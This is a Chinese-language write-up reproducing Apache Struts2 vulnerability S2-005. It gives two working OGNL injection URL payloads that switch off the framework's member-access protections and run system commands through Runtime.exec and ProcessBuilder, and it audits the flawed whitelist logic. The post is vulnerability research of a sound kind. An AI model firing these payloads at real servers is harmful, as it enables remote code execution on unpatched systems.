漏洞简介
S2-005是S2-003的绕过,xwork更新到2.1.6版本;005新增了SecurityMAmberAccess功能,但是可以被绕过
影响范围
Struts 2.0.0 - 2.1.8.1
漏洞复现
环境配置
https://archive.apache.org/dist/struts/library/struts-2.1.8.1-lib.zip
保留以下jar包
写一个action
web.xml需要配置
<filter>
<filter-name>struts2</filter-name>
<filter-class>org.apache.struts2.dispatcher.ng.filter.StrutsPrepareAndExecuteFilter</filter-class>
</filter>
<filter-mapping>
<filter-name>struts2</filter-name>
<url-pattern>/*</url-pattern>
</filter-mapping>
环境起不来可以看之前我写的笔记
复现过程
向任意action发送请求payload即可
?("\u0023_memberAccess.allowStaticmethodAccess\u003dtrue")(aaa)(aaa)&("\u0023context['xwork.MethodAccessor.denyMethodExecution']\u003dfalse")(aaa)(aaa)&("\u0023_memberAccess.acceptProperties\u003d@java.util.Collections@EMPTY_SET")(aaa)(aaa)&("\u0023_memberAccess.excludeProperties\u003d@java.util.Collections@EMPTY_SET")(aaa)(aaa)&("\u0023return\u003d@java.lang.Runtime@getRuntime().exec('calc')")(aaa)(aaa)
代码审计
新增参数的黑白名单
具体实现是向OgnlValueStack.securityMemberAccess操作:该对象有一个
allowStaticmethodAccess
参数,用于开启是否调用静态方法,默认不允许
如果OgnlValueStack是root,该参数就会被传入context
这里调用
Ognl.createDefaultContext()
创建默认上下文,securityMemberAccess起了别名_memberAccess
之后调用
Ognl.setMemberAccess()
设置传入的_memberAccess
,因此要有set方法SecurityMemberAccess.isAccessible()
用于判断是否允许方法被调用
isAcceptableproperty()
判断黑白名单,要求在白名单且不在黑名单
但是只要黑白名单都为空就能返回false
流程
- 开启_memberAccess.allowStaticmethodAccess
- 关闭context[“xwork.MethodAccessor.denyMethodExecution”]
- _memberAccess.acceptProperties和excludeProperties设置为空
- 调用Runtime.exec()
开发者的疏忽——再次绕过:通杀利用
通过分析可以发现:该功能一直在防御静态方法调用,却忽略了动态的情况
因此只要new ProcessBuilder().start()完全可以绕过以上防御措施
?(\u0023context['xwork.MethodAccessor.denyMethodExecution']\u003dfalse)(aaa)(aaa)&(new java.lang.ProcessBuilder(new java.lang.String[]{'calc'}).start())(aaa)(aaa)
因此官方把S2-003和005的影响范围都定为了2.1.8.1,凭借此payload实现了通杀
修复
下一个版本2.2.1对传入参数进行白名单限制,缓解方法是添加拦截器
但是新版本仍然可以被绕过
参考
https://cwiki.apache.org/confluence/display/WW/S2-005
https://su18.org/post/struts2-1/#s2-005
完
欢迎关注我的CSDN博客 :@Ho1aAs
版权属于:Ho1aAs
本文链接:https://ho1aas.blog.csdn.net/article/details/126490087
版权声明:本文为原创,转载时须注明出处及本声明
原文地址:https://www.jb51.cc/wenti/3286010.html
版权声明:本文内容由互联网用户自发贡献,该文观点与技术仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 dio@foxmail.com 举报,一经查实,本站将立刻删除。